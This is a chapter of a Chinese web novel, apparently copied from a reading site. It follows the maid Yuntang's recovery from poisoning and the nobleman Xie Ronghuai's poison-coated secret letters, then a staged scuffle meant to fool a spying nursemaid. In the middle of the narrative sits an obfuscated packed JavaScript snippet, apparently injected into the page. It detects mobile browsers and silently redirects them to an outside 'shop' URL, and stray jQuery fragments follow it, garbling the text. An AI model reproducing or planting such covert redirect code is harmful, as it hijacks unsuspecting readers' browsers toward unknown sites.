默认冷灰
24号文字
方正启体

21. 信鸽

作者:先佳林本书字数:K更新时间:
    夜来微雨,九月的夏末俨然有了一丝凉气。


    云棠蹲在院子中煎药,小炉子噼里啪啦燃着柴火,中药味自盖炉中吨吨传出,小丫鬟皱着眉头揉着鼻子。


    真是难闻呐。


    李妈妈见云棠凑着煤灰的脸蛋,一副认真扇扇虔诚的模样,好心抢过叶扇。


    疼惜道:“还是我来吧,就你这力道一看身子还虚着呢。”


    云棠被李妈妈赶到了一边,有些不好意思。


    “不用劳烦妈妈,我自己的药我自己来煎就好。”


    昨个儿几日发生那件事,明轩阁奴仆稀缺,伍嬷嬷作为府中管事儿,为弥补本打算再送几个粗使丫头过来,没想三公子和三少夫人极力推诿。说明轩阁不需要闲杂人等。


    想来也是,发生这种事,是个人心头都心有余悸。


    明轩阁事少,大多时候,三少夫人做事都是亲力亲为,像伺候沐浴梳洗这种事,云棠也不用贴身伺候,倒省了不少力气。


    而三公子又鲜少在府中,便留云棠一个丫鬟伺候少夫人也足够了。大多时候,云棠其实也算是轻松的,除了有时候耐不住少夫人非拉着她晚上陪睡。


    话虽如此,但方姨娘那边还是不放心,想来为长久考虑,还是将李妈妈派来照看少夫人一些时日。


    谢容怀其实本不需要有人伺候,但偏偏方姨娘那边在乎得紧,考虑这几日云棠身体原因,又为应付,便也答应李妈妈来明轩阁。想着待云棠身体好些,再找个理由将李妈妈劝回去。


    李妈妈觑云棠一眼,“那怎么行,你中了毒,身子还虚着呢。方姨娘叫我来明轩阁,还不是为了帮你减轻劳累。”


    李妈妈说的没错,她中了毒,毒虽清了,可身子还没完全恢复。


    伍嬷嬷那里为挽回大房丢失的脸面,还向她发了二两银子为弥补,少夫人那边还准了她七日假。


    二两银子,抵过她一年半的月钱。云棠高兴极了,原本还觉得因中毒而感到肚子痛的症状,转眼便迷失在金钱的力量中去,她竟觉得还挺值。


    于是干活也越卖力,根本就忘了中毒的事情。


    李妈妈恨铁不成钢,以往在小憩阁就她们三个下人,冬芜和云棠两个小丫头差不多也是她看着长大的,一个听话乖巧,一个老实本分。


    原本以为云棠到明轩阁来伺候,起码也是府中的一等丫头了,日子该是越过越好,却没成想,是混得差点将自己命给搭进去。


    一时间,李妈妈也是感慨万千,对云棠心痛不已。


    忙道:“哎呀看看你这没二两肉的小脸,快去歇息去!等药煎好了我给你端去就是了。少夫人不是都说了嘛,告你七日假,怎还赖在府中。”


    云棠摸摸自己脸。


    怎么了?有肉的呀,少夫人最喜欢摸她下巴了,说手感好。


    云棠见争不过李妈妈,朝她眨了下眼睛,做了个鬼脸。


    “多谢李妈妈了。待我明日从东膳房多做一些果茶子带给您。”


    “那感情行呐。”


    李妈妈身材肥胖,笑容和蔼可亲,人是出名的爱热闹好心肠。总爱替别人搭一把手,所以在府中也积攒了一些好威望,尤其冬芜云棠俩小丫鬟常受她照拂,自然要亲近几分。


    ·


    明轩阁


    花窗外细雨如丝,徽墨信鸽在檐下啄食,屋中几盏明黄烛火曳曳跳动,将桌案旁俩人交谈的影子拉长,映照在锦绣屏风后。


    顾兆安躺在摇椅上,手中搓着花生米,红皮碎屑一抖,果仁投掷于空中,洋洋用嘴接住。


    “老实说,谢兄你何至于冒着暴露身份的风险非要断那丫头两根手指?”


    桌案另一边,谢容怀将笔毫搁置在黛色笔山上,对着未干的纸页吹了吹,等干透才细细将微黄宣纸卷起,红条封了印,交给顾兆安。


    “那人差点废了云棠一条命,我断她两根手指算轻的了。”


    顾兆安口渴,喝了口茶又道:“那你总要考虑后果,好歹你现在在顾府。奕王此刻虽不在京中,但留下的眼线极多,要被他手下的人截断信鸽……”


    “你多余担心了。”


    谢容怀打断他,“信中被我浸过毒药,要被人无意打开,片刻就会暴毙。”


    顾兆安一听,原本还百无正经的身子立刻坐起,饶有兴趣般。


    “还有这等本事!?”


    他不禁去看刚装好的那封卷信,桃花眼中凭生一丝探究和畏惧。


    “怎么做到的?”


    谢容怀嘴角勾了一抹笑,看起来蔫坏又有些得意。慢条斯理地取下黑布手套。


    解释道:“信上裹了不下三种致命毒药,一旦接触到皮肤即可毙命。通常我在纸上涂下药粉时,都需带上软丝甲套,避免触碰。”


    “嚯,如此厉害。这是怎么做到的?”


    顾兆安本想拿起那副软丝甲套细细研究一番,却被谢容怀急忙制止。


    “不想活了,上面还沾着毒。”


    “额……”那人手一抖,忙缩了回去。


    “那怎么弄?”


    谢容怀解释,“水洗了就成。”


    顾兆安恍然大悟点头,“谢兄,如此好物,你从哪儿搞来的?”


    “一个朋友。”


    “什么朋友啊?我知道吗?”


    “魏阁老。”


    “谁!”


    顾兆安惊了一场,压低声音道:“魏阁老还对此有研究?”此问颇多质疑。


    顾兆安还想追问,但谢容怀却不打算在做多解释,简单道:“魏阁老对机关毒器是有一些涉猎,我也是在很小的时候曾无意和他有过一番交流,此物乃是他当年所赠。”


    点到为止,其他的谢容怀不能再过多透露,毕竟这是别人的私趣儿。


    顾兆安缓了半天,似乎才消化消息,佩服连叹,“真是看不出来呀……”


    “行了。你将这封信带给梁卫。”


    顾兆安伸出手小心翼翼接下,就怕稍不慎会碰到毒药。


    谢容怀此前于魏阁老结缘,他曾赠他两副软丝黑甲套,如今派上用场,一副在他手上,一副他给了梁卫,用来暗中传送消息。


    “不对呀。”话题被带歪,他突然想起刚刚他们还是在聊中毒的事。


    顾兆安将信收好,又掀起眼皮,语气有几分揶揄。


    “话说谢世子孙对云棠那丫头真是不一般呐,又是送吃的又是送药……”


    他突然想起来,昨儿他还见云棠手上捧着他之前送谢兄的那芙蓉膏,转眼间就到了小丫鬟手上。


    “咳咳……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549878|204132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢容怀难得不自然,佯装镇定。


    “她这不因为我遭了罪,我身为主子,送她点吃的喝的怎么了。”


    那人嗤笑。


    “世子孙您在外名声风流无限,六闲传得是满天飞,如今可别栽在一个小丫头手中。”


    谢容怀神情淡漠,眸中的光灭了几分,和屋外阴雨夜一样黑。


    “你先管好你自己吧。”


    ……


    沉了片刻,顾兆安桃花眼才在屋中打量一圈儿。


    “说真的,我睡哪里?”他总不能一直窝在书房吧。


    顾公子这几日的生活也是颇多艰难,为表现他已婚男子形象,家中美妇相伴,常被顾老爷子派人监视得严重。


    一连几月都未再踏足玉桂坊,其中有几日好不容易找时机摸进玉桂坊,却又被尽忠老奴给逮了回来。


    又每每等月沉之日潜进书房阁楼安睡,天不亮就离开书房。前些日子还好,老爷子不在府中,他尚且能睡个好觉,可这几日老爷子休沐,他是没睡上一个好觉。


    上次半夜还被他这个“夫人”给打一顿,谁知道他过得是什么日子。


    方姨娘那边看得紧,他怎能不知云棠那个小丫头就是他娘派过来监视他俩的。现在又加一个李妈妈,他今夜要再不在明轩阁歇下,他娘那边就交代不过去了。


    谢容怀眼神寒冷,似要杀人的前兆。


    “容怀兄!冷静冷静,今儿我要再出去明儿我娘就要提刀来明轩阁了!您救我一命!!”


    那人沉默半晌,烛火在脸上跳动的光,倒映出男人纤长的鸦睫,阴鸷若隐若现,不知在想着什么。


    窗边徽墨色的鸽子吃饱了,咕咕抖着翅膀飞了进来停在油台下。


    “你去那里打地铺。”


    谢容怀眼神落在窗下的空旷地。


    顾兆安眼皮抽了抽,“看起来挺凉快。不过……”他目光转向雕花门上,隔着纱纸透出来一个灰蒙蒙的人影。


    “您确定让我睡在那儿?”


    李妈妈蹲在公子门口,里面黑漆漆的,什么也看不见。


    她来明轩阁,自然是要探查三公子和夫人进展是如何,云棠那丫头脸皮薄,自然不敢寻偷看这种燥脸的事儿。只好,她替方姨娘探查军情了。


    谢容怀早已察觉门外人影。他难得头痛,烦想,这顾府破事怎如此多。


    “容怀兄,今儿要不就让我睡……”他指指前方床榻。


    谢容怀铁青着脸,一字一句从牙缝里蹦出话,“你想得美……”


    话落,顾兆安就感觉肚子上被人打了一拳。接着胸口又传来一阵剧痛。


    谢容怀不按常理出牌,顾兆安闷声挨打,还要做成享受模样。只能在心底将这厮儿骂上千万遍。


    谢容怀,你他妈还是人嘛!


    “咳咳……夫人,你怎如此厉害!这边再给我来一下,就是这力道!痛快,夫人的手好香……”


    里面的人忍着痛还要反其道而行对朝他使拳头的人夸赞一番,声情流露,衣带自除,飞在门纱上。


    烛火连灭两盏,暗光流动间,李妈妈拿着扫帚,老眼贴在门上。


    “好好好!小夫妻俩的关系是真好……”


    李妈妈高兴极了,这才放下心,拿着扫帚离开。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)